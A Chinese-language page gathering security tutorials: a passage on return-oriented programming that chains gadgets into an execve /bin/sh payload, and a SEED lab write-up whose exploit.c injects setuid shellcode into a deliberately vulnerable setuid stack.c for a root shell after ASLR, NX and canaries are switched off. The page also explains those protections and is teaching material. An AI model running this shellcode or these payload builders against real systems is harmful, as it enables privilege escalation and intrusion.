    可见只要将这些以ret指令结尾的gadgets的地址放在栈上合适的位置,这些ret指令就会按指定的顺序一步步的在这些gadgets之间跳跃。

    再看一个稍微复杂的例子:

    Stack Code

    rsp(+0x00)-->+-------------+ +-------------+

    | addr1 |-----+ | ret |

    (+0x08)-->+-------------+ | +-------------+

    | 0x3b | | | ... |

    +-------------+ +-->+-------------+

    | addr2 |--+ | pop rax |

    +-------------+ | +-------------+

    | ... | | | ret |

    +-------------+ | +-------------+

    | ... | | | ... |

    +-------------+ +----->+-------------+

    | ... | | next inst |

    +-------------+ +-------------+

    | ... | | ret |

    +-------------+ +-------------+

    Equivalent codes:

    mov rax, 0x3b

    这个例子中,跳板指令是pop rax; ret,执行完后,栈上的0x3b将pop到rax中,因此这种型式的跳板指令可以实现对寄存器的赋值。

    而add rsp, 10h; ret型式的跳板指令可以模拟流程跳转,如下:

    Stack Code

    rsp(+0x00)-->+-------------+ +-------------+

    | addr1 |-----------+ | ret |

    (+0x08)-->+-------------+ | +-------------+

    | addr2 |--------+ | | ... |

    +-------------+ | +-->+-------------+

    | addr3 |-----+ | | add rsp,10h |

    +-------------+ | | +-------------+

    | addr4 |--+ | | | ret |

    +-------------+ | | | +-------------+

    | ... | | | | | ... |

    +-------------+ | | +----->+-------------+

    | ... | | | | inst2 |

    +-------------+ | | +-------------+

    | ... | | | | ret |

    +-------------+ | | +-------------+

    | ... | | | | ... |

    +-------------+ | +-------->+-------------+

    | ... | | | inst3 |

    +-------------+ | +-------------+

    | ... | | | ret |

    +-------------+ | +-------------+

    | ... | | | ... |

    +-------------+ +----------->+-------------+

    | ... | | inst4 |

    +-------------+ +-------------+

    | ... | | ret |

    +-------------+ +-------------+

    Equivalent codes:

    jmp there

    inst2

    inst3

    there: inst4

    条件跳转甚至函数调用都可以用精心构造出的gadgets链来模拟。只要找出一些基本的gadgets,就可以使用这些gadgets来组装出复杂的攻击程序。而只要被攻击程序的代码量有一定的规模,就不难在这个程序的代码段中搜索出足够多的gadgets(注意目标程序的代码中不需要真正有这样的指令,只需要恰好有这样的指令的机器码,例如如果需要用到跳板指令pop rax; ret,只需要目标程序的代码段中含有字节码串58 C3就可以了)。

    下面以实例来展示一下ROP攻击的强大,在这个例子中,将利用gadgets组装出程序,执行exec系统调用打开一个shell终端。

    用exec系统调用打开一个shell终端需要的参数和指令如下:

    mov rax, 0x3b ; system call number, 0x3b for sys_exec

    mov rdi, PROG ; char *prog (program path)

    mov rsi, 0 ; char **agcv

    mov rdx, 0 ; char **env

    syscall

    PROG: DB "/bin/sh", 0

    其中rax为系统调用编号,rdi为字符串指针、指向可执行程序的完整路径,rsi和rdx都是字符串指针数组,保存了参数列表和环境变量,在此处可以直接至为0。

    为了增大被攻击程序的体积,以搜索到尽可能多的gadgets,在原来的代码中增加一个random函数,同时用静态链接的方式重新编译一下victim.c:

    $ cat victim.c

    #include

    #include

    int main() {

    char name[64];

    printf("What's your name?");

    scanf("%s", name);

    printf("Hello, %s%ld!\n", name, random());

    return 0;

    }

    $ gcc -o victim victim.c -static

    手工搜索目标程序中的gadgets显然是不现实的,采用JonathanSalwan编写的ROPgadget搜索,网址在这里:https://github.com/JonathanSalwan/ROPgadget,可以使用pip安装:

    su

    apt-get install python-pip

    pip install capstone

    pip install ropgadget

    exit

    安装完成后,可以使用下面的命令来搜索gadgets:

    ROPgadget --binary ./victim --only "pop|ret"

    搜索到程序中存在的跳板指令只是第一步。接下来需要挑选并组装gadgets,过程非常繁琐、复杂,不再叙述了。总之,经过多次尝试,最后找到了以下gadgets:

    0x00000000004003f2 : pop r12 ; ret

    0x00000000004018ed : pop r12 ; pop r13 ; ret

    0x0000000000487318 : mov rdi, rsp ; call r12

    0x0000000000431b3d : pop rax ; ret

    0x00000000004333d9 : pop rdx ; pop rsi ; ret

    0x000000000043d371 : syscall

    按下图的方式拼装gadgets,图中的‘+’号旁边的数字0、1、2、...、13表示攻击程序执行过程中rip和rsp的移动顺序。

    Stack Code

    name-->+--------------------+ +--------------+0

    | "\x00"*72 | | ret |

    rsp-->0+--------------------+ +--------------+

    | 0x00000000004003f2 |-----------------------+ | ... |

    1+--------------------+ +-->+--------------+1

    | 0x00000000004018ed |---------------------+ | pop r12 |

    2,5+--------------------+ | +--------------+2

    | 0x0000000000487318 |------------------+ | | ret |

    3,4,6+--------------------+ | | +--------------+

    | "/bin/sh\x00" | | | | ... |

    7+--------------------+ | +---->+--------------+5

    | 0x0000000000431b3d |--------------+ | | pop r12 |

    8+--------------------+ | | +--------------+6

    | 0x000000000000003b | | | | pop r13 |

    9+--------------------+ | | +--------------+7

    | 0x00000000004333d9 |-----------+ | | | ret |

    10+--------------------+ | | | +--------------+

    | 0x0000000000000000 | | | | | ... |

    11+--------------------+ | | +------->+--------------+3

    | 0x0000000000000000 | | | | mov rdi, rsp |

    12+--------------------+ | | +--------------+4

    | 0x000000000043d371 |-------+ | | | call r12 |

    13+--------------------+ | | | +--------------+

    | | | | ... |

    | | +----------->+--------------+8

    | | | pop rax |

    | | +--------------+9

    | | | ret |

    | | +--------------+

    | | | ... |

    | +-------------->+--------------+10

    | | pop rsi |

    | +--------------+11

    | | pop rdx |

    | +--------------+12

    | | ret |

    | +--------------+

    | | ... |

    +------------------>+--------------+13

    | syscall |

    +--------------+

    为了将大端顺序的地址数值转换为小端顺序的字符串,编写了一个python程序gen_shellcode.py来生成最终的shellcode:

    # >>> s= long2bytes(0x5c4)

    # >>> s

    # '\xc4\x05\x00\x00\x00\x00\x00\x00'

    def long2bytes(x):

    ss = [""] * 8

    for i in range(8):

    ss[i] = chr(x & 0xff)

    x >>= 8

    return "".join(ss)

    print "\x00"*72 + \

    long2bytes(0x4003f2) + \

    long2bytes(0x4018ed) + \

    long2bytes(0x487318) + \

    "/bin/sh\x00" + \

    long2bytes(0x431b3d) + \

    long2bytes(0x00003b) + \

    long2bytes(0x4333d9) + \

    long2bytes(0x000000) + \

    long2bytes(0x000000) + \

    long2bytes(0x43d371)

    现在可以实施攻击了:

    $ python gen-shellcode.py > shellcode

    $ cat shellcode - | ./victim

    What's your name?Hello, 1804289383!

    ls

    gen-shellcode.py shellcode victim victim.c

    mkdir xxx

    ls

    gen-shellcode.py shellcode victim victim.c xxx

    可以看出终端被成功打开,ls和mkdir命令都可以运行。

    5. 致谢

    感谢 Erik Buchanan, Ryan Roemer 和 Stefan Savage 等人对ROP做出的非凡的工作:Return-Oriented Programming: Exploits Without Code Injection,ROP攻击几乎无法阻挡,强大之中又蕴涵着优雅的美感,就像风清杨教给令狐冲的独孤九剑。

    感谢JonathanSalwan编写的ROPgadget,他的工具让搜索gadgets的工作变得简单无比。

    展开全文
  • 缓冲区溢出攻击

    2021-02-06 20:32:00
    缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击,轻则可以导致程序失败、系统关机等,重则可以利用它执行非授权指令,甚至获取系统特权,从而进行其它的非法操作。缓冲区攻击有栈溢出、堆溢出、格式化字符串漏洞、...

    缓冲区溢出(buffer-overflow)是一种非常普遍、同时非常危险的漏洞,在各种操作系统、应用软件中广泛存在。缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击,轻则可以导致程序失败、系统关机等,重则可以利用它执行非授权指令,甚至获取系统特权,从而进行其它的非法操作。缓冲区攻击有栈溢出、堆溢出、格式化字符串漏洞、整形变量溢出等。本文将主要介绍堆栈溢出攻击,并实现对一个ubuntu 16.04系统的简单的栈攻击,获取其root权限。

    实验平台

    操作系统:SEED Ubuntu16.04 VM (32-bit),镜像下载地址:https://seedsecuritylabs.org/lab_env.html

    虚拟机:Oracle VM VirtualBox 6.0.4

    堆栈溢出原理

    在计算机里,堆栈是内存里的一段区域。堆一般由程序员分配释放,如果程序员不释放,程序结束时可能由操作系统回收,分配方式类似于数据结构中的链表;栈由操作系统自动分配释放,存放函数的参数值、局部变量、返回地址等,分配方式类似于数据结构中的栈。以堆栈溢出为代表的缓冲区溢出已经成为最普遍的安全漏洞,由此引发的安全问题比比皆是。堆栈溢出的原因一般有以下几种:

    1. 函数调用层次太深。函数递归调用时,系统要在栈中不断保存函数调用时的现场和产生的变量,如果递归调用太深,就会造成栈溢出,这时递归无法返回。再有,当函数调用层次过深时也可能导致栈无法容纳这些调用的返回地址而造成栈溢出。
    2. 动态申请空间使用之后没有释放。由于C语言中没有垃圾资源自动回收机制,因此,需要程序主动释放已经不再使用的动态地址空间。申请的动态空间使用的是堆空间,动态空间使用不会造成堆溢出。
    3. 数组访问越界。C语言没有提供数组下标越界检查,如果在程序中出现数组下标访问超出数组范围,在运行过程中可能会内存访问错误。
    4. 指针非法访问。指针保存了一个非法的地址,通过这样的指针访问所指向的地址时会产生内存访问错误。

    在一些高级语言中,类似python, java, go等,有一些机制用于防止栈溢出,比如,python默认的递归深度是1000,当递归调用超过这个深度后就会引发异常。此外,编译器层面上也有对堆栈进行保护,其中最著名的是Stack Guard和Stack-smashing Protectection。在操作系统的层面上,为了减少堆栈溢出带来的危害,还有类似于地址空间随机化的机制。

    程序的内存布局

    为了进一步了解堆栈溢出的工作原理,首先来了解一个进程的内存是如何分配的。对于一个典型的C语言程序,其运行时,内存由5个短组成,分别为代码段(text segment),数据段(data segment),BSS段(BSS segment),堆(heap),栈(stack),这5个段在内存中分布如下

    yQze0I.png

    代码段中存放程序的代码;数据段中存放着由程序员初始化的静态/全局变量,例如,stack int a=3;中的a变量;BSS段中存放着未初始化的静态/全局变量,例如,stack int b;中的b变量;堆是动态分配的内存,c语言中,malloccalloc等函数用于申请动态内存,free函数用于释放,在途中是向上增长;栈则存放函数内定义的局部变量、函数返回地址、函数参数等,在图中是向下增长。注意,在现在的操作系统中,这几个段不一定是连在一起的。

    这次我们实现的是栈溢出攻击,所以我们具体看一下一个函数在栈里面的数据的分布,以及一个函数是如何被调用的,以一个简单的c语言程序为例

    /* fun.c */
    #include<stdio.h>
    int fun(int a, int b) {
        int l[3];
        l[0] = a;
        l[1] = b;
        l[3] = a + b;
    }
    int main() {
        fun(1, 2);
    }
    

    先用gcc对程序进行编译

    gcc -g -fno-stack-protector fun.c -o fun
    

    在使用gdb对fun程序进行调试,首先反汇编main函数,看一下是如何调用fun函数的

    gdb fun
    
    disass main
    
    p1

    从<+3>到<+12>就是一个完整的函数调用过程。可以看到,调用fun函数时,首先通过<+3>和<+5>两条指令把函数参数压进栈里,然后使用call指令跳转执行,而一条call指令会先把eip寄存器的内容压进栈,然后跳转到被调用函数里执行,eip寄存器里存放着call指令的下一条指令的地址,也就是函数的返回地址,即一条call指令相当于

    push eip ; 此时eip寄存器里的值是指令<+12>的地址
    jmp 0x80484db ; fun函数的起始地址
    

    顺利从fun函数返回后,指令<+12>的作用清空栈里传给函数的参数。

    然后对fun函数进行反汇编,看一下fun函数里的局部变量是如何分布的,以及如何返回到main函数,结果如下图所示

    disass fun
    
    yQzKtf.png

    在函数的开头,首先是<+0>和<+1>两条指令对ebp寄存器的操作,ebp寄存器又叫基址指针(extended base pointer)寄存器。函数的局部变量、参数等是保存在栈里的,而在函数运行时,栈指针寄存器esp的值会发生改变,所以无法通过esp访问到这些变量和参数,因此引入了ebp寄存器,保存着栈中的一个固定的地址,通过计算相对于该地址的偏移量即可访问到变量和参数。在32位系统中,一个int类型、返回地址、寄存器大小都是4个字节。此外由main函数的汇编代码可以看到是参数b先进栈(指令<+3>),再是参数a进栈。因此,指令<+6>中[ebp+0x8]访问的是参数a,由此可以推断指令<+9>中[ebp-0xc]访问的是l[0],两条汇编指令对应的c代码是l[0] = a。指令<+12>到<+29>分析也是类似的。

    指令<+30>和<+31>是从fun函数返回main函数的过程。leave指令相当于mov esp,ebppop ebp,即恢复了进入fun函数时ebp和esp寄存器的值,而ret指令相当于pop eip,即把栈中的函数返回地址弹出,放入eip寄存器中,实现返回到main函数。

    通过上述分析,我们可以获知fun函数的栈分布如下图所示

    p1

    从图中就可以大致看到进行栈溢出攻击的一种方式,即越过数组l的边界去修改函数返回地址,从而跳转到一段恶意代码去执行,即类似l[4]=somewhere。在c语言中,类似strcpy函数等是没有边界检查的,所以我们可以通过strcpy函数向一个字符串数组拷贝超过其大小的内容,从而修改函数返回地址,这也是我们稍后实现的栈溢出攻击的原理。

    // 向buf拷贝超过其大小的内容。
    #include<stdio.h>
    #include<string.h>
    int main() {
        char buf[3];
        char *s="hello,world";
        strcpy(buf,s);
    }
    

    这个攻击的思路就是,首先在内存中放置一段可以获取root权限恶意代码,然后利用strcpy没有边界检查的特点造成栈溢出修改函数的返回地址,跳转到恶意代码执行。

    实现栈溢出攻击

    为防止缓冲区溢出漏洞,已经出现了多种保护机制。为了实现这次攻击,我们需要停用一些保护机制,具体是:地址空间随机化 (Address Randomization)、不可执行栈 (Non-executable Stack)、Stack Guard。

    假设有一个具有栈溢出漏洞的程序如下:

    /* stack.c */
    
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[24];
    
        /* 这里存在栈溢出的危险 */
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly\n");
        return 1;
    }
    

    对上述文件进行编译,注意要停用一些保护机制

    禁止地址空间随机化

    su root
    sysctl -w kernel.randomize_va_space=0
    exit
    

    使用gcc进行编译

    su root
    gcc -g -fno-stack-protector -z execstack stack.c -o stack
    chmod 4755 stack
    exit
    

    -fon-stack-protector选项是关闭gcc的Stack Guard;-z execstack选项;最后的chmod 4755 stack是让其它用户在执行stack程序时,拥有和所有者(root)相当的权限(这样的程序是存在的),这样可以使恶意代码中的setuid指令可以执行。

    攻击的具体思路是:精心设计badfile的内容,让其包含一段可以获取root权限的代码,这段代码会被读到stack的str中,再拷贝到bof函数的buffer里,只要badfile里的内容够多,就会突破buffer的边界,从而覆盖掉bof函数的返回地址,控制函数返回到恶意代码里执行。

    首先,使用gdb对stack进行分析

    gdb stack
    

    查看str的地址

    b main     # 设置断点
    r          # 运行
    p /x &str  # 参考str的地址
    
    p1

    我们的恶意代码最终会插入到0xbfffea37开始517个字节的内存里。

    然后查看bofbuffer地址,以及存放返回地址的位置

    先运行到bof函数里,再查看bof的汇编代码

    b bof
    r
    disass bof
    
    p1

    可以看到,此时程序已经运行到指令<+6>,由之前的分析可以得知,此时寄存器ebp里的值加上4就是返回地址的存放地址了。查看ebp寄存器的值

    p /x $ebp
    
    p1

    再查看buffer的地址

    p /x &buffer
    
    p1

    因此,返回地址的位置和buffer首地址相距0xbfffea18+4-0xbfffe9f8=0x24,即buffer[0x24]就可以访问到返回地址。

    通过上述分析,恶意代码在str里。所以,在bof函数里,要修改buffer[0x24]处的内容为恶意代码的入口。为了增大攻击成功的可能性,我们在str首地址到恶意代码的入口之前填充NOP指令,该指令不进行任何操作。填充NOP可以再跳转 ”不那么精确“ 的时候,也会 “滑” 到恶意代码的入口,即假设恶意代码插入到str[400]处,只要跳转到str[0]str[400]之间都可以成功实现攻击。

    下面是一个生成我们精心设计的badfile程序,将恶意代码插入到str[400]处开始的地方,然后控制bof函数跳转到0xbfffeb95 (大概在str[350]处)

    /* exploit.c */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    // 恶意代码
    char shellcode[]=
        "\x31\xc0"             /* xorl    %eax,%eax              */
        "\x31\xdb"             /* xorl    %ebx,%ebx              */
        "\xb0\xd5"             /* movb    $0xd5,%al              */
        "\xcd\x80"             /* int     $0x80                  */
        "\x31\xc0"             /* xorl    %eax,%eax              */
        "\x50"                 /* pushl   %eax                   */
        "\x68""//sh"           /* pushl   $0x68732f2f            */
        "\x68""/bin"           /* pushl   $0x6e69622f            */
        "\x89\xe3"             /* movl    %esp,%ebx              */
        "\x50"                 /* pushl   %eax                   */
        "\x53"                 /* pushl   %ebx                   */
        "\x89\xe1"             /* movl    %esp,%ecx              */
        "\x99"                 /* cdq                            */
        "\xb0\x0b"             /* movb    $0x0b,%al              */
        "\xcd\x80"             /* int     $0x80                  */
    ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* 使用NOP填充 */
        memset(&buffer, 0x90, 517);
    
        strcpy(buffer+400, shellcode);  /* 恶意代码将插入到str[400]处开始的地方 */
        strcpy(buffer+0x24, "\x95\xeb\xff\xbf");  /* 控制bof函数返回到0xbfffeb95处,注意要倒序 */
    
        /* 生成badfile文件 */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    
    

    编译、运行exploit.c

    gcc exploit.c -o exploit
    ./exploit
    

    此时生成了badfile。

    为了体现root权限有无,普通用户尝试修改/etc/passwd文件,执行vim /etc/passwd

    p1

    运行stack程序,就会进入到一个具有sudo权限的sh程序里。

    ./stack
    
    p1

    在这个sh里,可以对受保护文件进行修改,例如vim /etc/passwd

    p1

    可见,成功地获取了系统的root权限。

    对于栈溢出的保护措施

    在进行实验时,我们停用了几个保护措施,现在我们来探讨一下这些保护措施是如何抵御栈溢出攻击的。

    地址空间随机化

    地址空间随机化,顾名思义,程序每次加载到的内存位置是随机的,所以,即使可以利用栈溢出控制函数的返回地址,但是无法确定恶意代码的位置,因此,可以有效地防范栈溢出攻击。

    现在我们开启地址空间随机化再进行重复上述攻击

    su root
    sysctl -w kernel.randomize_va_space=2
    exit
    ./stack
    
    p1

    使用gdb查看str的地址,发现已经不是原来的0xbfffea37了,攻击失败时显然易见的。

    p1

    不可执行栈

    不可执行栈的基本原理是将数据所在的内存页标记为不可执行的,当进程尝试去执行数据页面上的指令时,CPU就会抛出异常,而不是去执行。所以,当开启了不可执行栈选项时,即使我们的恶意代码已经插入到内存,但由于处在数据页面,因此无法执行。

    再次关闭地址空间随机化,gcc编译stack时开启不可执行栈选项

    su root
    sysctl -w kernel.randomize_va_space=0
    gcc -g -fno-stack-protector stack.c -o stack  # gcc默认开启不可执行栈
    chmod 4755 stack
    exit
    

    使用gdb查看str位置时,发现又回到了原来的位置上

    p1

    进行攻击,仍然失败

    p1

    Stack Guard

    gcc中的Stack Guard的保护原理时利用 “Canaries” 检测对函数栈的破坏。具体是再缓冲区(如:栈)和控制信息(如 ebp等)间插入一个canary word。这样,当缓冲区溢出时,再返回地址被覆盖之前canary word会首先被覆盖,通过检测canary word的值是否被修改,就可以判断是否发生了溢出。还是以上述的简单c程序为例

    gcc开启Stack Guard对fun.c进行编译,然后用gdb查看fun函数的汇编

    gcc -g fun.c -o fun  # gcc默认开启Stack Guard
    gdb fun
    disass fun
    
    p1

    上图最大差别在于函数真正执行前多了以下几条指令

    p1

    以及退出之前,多了以下几条指令

    p1

    通过查阅资料可知,gs:0x14里保存的是一个随机数,这个随机数就是canary word。真正执行函数前的指令<+6>到<+15>把这canary word放到ebp-0xc位置上,而函数返回前的<+41>到<+53>指令就是判断canary word是否被修改,如果没被修改则正常返回。由此我们可以大概地画出此时函数栈内的分布如下

    p1

    如果通过之前的方法去修改函数的返回地址,就会修改了canary word的值,就在函数返回前会被检测到。下面是开启了Stack Guard来重复上面的攻击

    su root
    gcc -g -z execstack stack.c -o stack
    chmod 4755 stack
    exit
    ./stack
    
    p1

    可以看到,栈溢出被检测到并终止了进程。

    结束语

    通过这次实验,加深了我对操作系统、计算机组成原理、编译器等方面的理解,同时也认识到了缓冲区溢出所带来的危害。为此,我们要养成良好的编程习惯,例如使用安全型函数避免风险。

    参考

    GCC 中的编译器堆栈保护技术

    SEED BOOKS

    展开全文
  • 溢出攻击

    2021-02-12 07:14:44
    我们先来看下面的一个例子: ~~~ #include int main(){ char str[10] = {0};... 栈溢出一般不会产生严重的后果,但是如果有用户精心构造栈溢出,让返回地址指向恶意代码,那就比较危险了,这就是常说的栈溢出攻击

    我们先来看下面的一个例子:

    ~~~

    #include

    int main(){

    char str[10] = {0};

    gets(str);

    printf("str: %s\n", str);

    return 0;

    }

    ~~~

    在 main() 函数内部定义一个字符数组,并通过 gets() 为它赋值。

    在VS2010 Debug模式下运行程序,当输入的字符不超过10个时,可以正确输出,但是当输入的字符过多时,就会出现运行时错误。例如输入"12345678901234567890",就会出现下面的错误:

    ![](https://box.kancloud.cn/9d939f22fab553d3bf701939f3c78ac8_623x154.png)

    这是为什么呢?我们不妨先来看一下 main() 函数的栈:

    ![](https://box.kancloud.cn/94fc205f6aa42915645de5807db261e8_181x300.png)

    局部数组也是在栈上分配内存,当输入"12345678901234567890" 时,会发生数组溢出,占用“4字节空白内存”、“old ebp”和“返回地址”所在的内存,并将原有的数据覆盖掉,这样当 main() 函数执行完成后,会取得一个错误的返回地址,该地址上的指令是不确定的,或者根本就没有指令,所以程序在返回时出错。

    C语言不会对数组溢出做检测,这是一个典型的由于数组溢出导致覆盖了函数返回地址的例子,我们将这样的错误称为“栈溢出错误”。

    > 注意:这里所说的“栈溢出”是指栈上的某个数据过大,覆盖了其他的数据

    局部数组在栈上分配内存,并且不对数组溢出做检测,这是导致栈溢出的根源。除了上面讲到的 gets() 函数,strcpy()、scanf() 等能够向数组写入数据的函数都有导致栈溢出的风险。

    下面是使用 strcpy() 函数导致栈溢出的例子:

    ~~~

    #include

    #include

    int main(){

    char *str1 = "sfsdffffffffaeggggggg3r4t4nihfgi23ufhbu4bgui3beugb";

    char str2[6] = {0};

    strcpy(str2, str1);

    printf("str: %s\n", str2);

    return 0;

    }

    ~~~

    将 str1 复制到 str2,显然超出了 str2 的接受范围,会发生溢出,覆盖返回地址,导致 main() 函数返回时出错。

    栈溢出一般不会产生严重的后果,但是如果有用户精心构造栈溢出,让返回地址指向恶意代码,那就比较危险了,这就是常说的栈溢出攻击

    展开全文
  • 主题:[请教]我想实现缓冲区溢出攻击。就是原程序读取一个字符串。我输入一个特殊的字符串,覆盖掉原返回地址,使其执行在栈里的代码。但是当执行到栈里代码时,就会 段错误 而退出。请问这个是不是现在linux内核禁止...
  • 掌握缓冲区溢出攻击方法; 进一步熟练掌握GDB调试工具和objdump反汇编工具。 二、实验环境: 计算机(Intel CPU) Linux 64位操作系统 GDB调试工具 objdump反汇编工具 三、实验内容 本实验设计为一个黑客利用缓冲...
  • 1.学习缓冲区溢出攻击需要有C语言和汇编的基础,以及一些操作系统知识 2.我是个菜鸡,文章是边查资料边写的,如发现文中有错误,很大可能就是写错了 3.本文无实例,只有很少的技巧,主要是小结一下相关知识 4.缓冲区...
  • 发动缓冲区溢出攻击 C .获得 root 权限 D. 利用 MDAC 组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令 24. 访问控制的粒度可能有一一一 A. 级 B. 表级 C. 记录级 ( 行级 )D. 属性级E. 字符级 25. 下面标准...
  • 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种...利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
  • 一、溢出目标无论是在windows下还是在linux下,溢出攻击基本上都是以控制计算机的执行路径为目标,而x86下执行哪条指令是由eip寄存器来控制的,所以如果能够修改eip寄存器的值,就可以修改计算机的执行路径。...
  • 总结 缓冲区溢出攻击之所以能成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普遍,且易于实现攻击,因此缓冲区溢出问题一直是个难题。 所幸的是,OpenBSD开发组为解决这一安全难题采用了三种新的有效策略。...
  • 目录标题2.1初始设置2.2 Shellcode2.3易受攻击程序2.4任务1:利用漏洞1.关闭地址空间随机化,2.execstack和-fno-stack-protector选项3.对stack进行gdb,首先查看bof的起始位置和返回地址.4.确定缓冲区的位置5.开始攻击...
  • 缓冲区溢出攻击实验实验介绍实验任务实验数据目标程序 bufbomb 说明bufbomb 程序接受下列命令行参数目标程序bufbomb中函数之间的调用关系缓冲区溢出理解目标程序调用的getbuf函数:过程调用的机器级表示test函数调用...
  • 第一个缺陷是因为在挑战反应认证过程中,OpenSSH在处理关于收到的响应次数的变量上存在整型溢出风险,如果挑战反应设置为打开,并且系统使用SKEY或者BSD_AUTH认证选项,则允许攻击者利用此缺陷远程执行任意指令。...
  • 2011 年第1 期栈溢出攻击原理及编写ShellCode几个月前笔者曾经为一个网站写过一个服务器端程序,程序的大体作用是监听一个端口,客户端通过 socket 向服务器端发送数据报,服务器端收到数据报后为每一个客户端启动一...
  • 前言这是CSAPP官网上的著名实验,通过注入汇编代码实现堆栈溢出攻击。实验材料可到我的github仓库 https://github.com/Cheukyin/C... 下载linux默认开启ASLR,每次加载程序,变量地址都会不一样,所以若要关闭ASLR:...
  • Linux缓冲区溢出攻击详解

    千次阅读 2021-10-21 01:11:23
    Linux缓冲区溢出攻击详解 (一)当一个函数被调用后,它会: 移动栈指针ESP,EBP。开辟一段栈空间 在栈(堆)空间内分配程序申请的局部变量 (二)当一个函数去调用另一个函数时,它会: 准备入口参数(形参...
  • 软件安全-缓冲区溢出攻击缓冲区溢出程序的内存分别栈与函数调用栈的内存布局帧指针栈的缓冲区溢出攻击将数据复制到缓冲区缓冲区溢出环境准备构造输入文件构造shellcodeC语言编写恶意代码构造shellcode的核心方法...
  • 栈缓冲区溢出攻击的例子 缓冲区是程序用来存储数据的连续内存区域,一旦分配完成,其起始地址(边界)和大小就固定下来。 当使用缓冲区时,如果使用了超出边界的区域,就称为缓冲区溢出(Buffer overflow) 如果缓冲...
  • front page server溢出攻击实例<>下载:http://www.nsfocus.com/proof/fpse2000ex.c哈哈~大家好!!~(一上来就骂人??!)危卵~真实越来越"厉害"了,全一段时间的.printer硝烟未尽,现在又出来一个frontpage server ...
  • 中国栈溢种实标准理中知到的计答案应用P经济管算机。大学案_完智慧醉学整章答案床麻节答树临。出攻常免费秘图论学堂学基最新在线答案的奥查询础:初窥计算机数。案保健体育学_库单智慧元测树题试答。...
  • 信息安全工程师知识点:缓冲区溢出攻击原理缓冲区是计算机内存中的一个连续块,保存了给定类型的数据。当进行大量动态内存分配而又管理不当时,就会出现问题。动态变量所需要的缓冲区,是在程序运行时才进行分配的。...
  • 在为C语言的数组等赋值时,可能赋值大小超出了数组的长度限制,这时超出的部分就会覆盖掉栈中其他部分的内容,从而发生缓冲区溢出。 下面用一个危险的例子进行说明:在这个程序中,我们利用strcpy()函数进行赋值操作...
  • 对抗样本攻击 所谓对抗样本就是指:在原始样本添加一些人眼无法察觉的扰动(这样的扰动不会影响人类的识别,但是却很容易愚弄模型),致使机器做出错误的判断。在算法模型训练数据集中引入对抗样本,增强模型的鲁棒...
  • 本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲...
  • 学习堆栈知识,实现一个简单的栈溢出攻击。代码如下图,main函数中只运行normal_func函数,通过数组越界,修改normal_func的返回地址,将eject_func函数地址赋值到normal_func的返回地址,实现对eject_fun的调用。#...
  • 环境:Ubuntu 9.10 kernel 2.6.31 gcc版本:4.4.1这个是csapp 《深入理解计算机系统》的一道题,直接在原程序运行的时候实现缓存区溢出攻击已经不可能实现了,除非你是用的版本很低的内核和gcc,如gcc 3.4.3。...
  • } 当把str的内容copy到buffer中,由于str的长度大于12,就会造成缓冲区buffer的溢出,str中多出的部分会存放在缓冲区的上方,我们的目的就是将代码植入到此处,然后让函数的return Address指向我们存放代码的地址A...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 47,160
精华内容 18,864
关键字:

溢出攻击